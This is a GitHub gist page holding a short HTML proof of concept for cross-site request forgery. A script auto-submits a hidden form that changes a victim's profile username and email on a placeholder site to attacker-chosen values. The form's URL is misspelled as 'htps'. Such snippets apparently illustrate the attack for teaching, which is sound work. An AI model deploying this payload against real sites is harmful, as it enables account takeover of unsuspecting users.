Skip to content

Instantly share code, notes, and snippets.

@zlatkov
Created February 2, 2021 13:57
Show Gist options
  • Save zlatkov/60f2d6a82cf1007a0eefc1f63983447c to your computer and use it in GitHub Desktop.
Save zlatkov/60f2d6a82cf1007a0eefc1f63983447c to your computer and use it in GitHub Desktop.
<!DOCTYPE HTML>
<html>
<head></head>
<body>
<form method='post' action='htps://example.com/api/profile'>
<input type='hidden' name='username' value="The Attacker">
<input type='hidden' name='email' value="[email protected]">
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment